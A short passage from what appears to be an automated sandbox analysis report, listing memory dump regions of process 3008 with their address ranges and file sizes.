              224KB

            • memory/3008-207-0x0000000006310000-0x0000000006311000-memory.dmp

              Filesize

              4KB

            • memory/3008-230-0x0000000006670000-0x0000000006671000-memory.dmp

              Filesize

              4KB

            • memory/3008-198-0x0000000004A10000-0x0000000004A11000-memory.dmp

              Filesize

              4KB

            • memory/3008-184-0x0000000002810000-0x0000000002811000-memory.dmp

              Filesize

              4KB

            • memory/3008-177-0x00000000714E0000-0x0000000071BCE000-memory.dmp

              Filesize

              6.9MB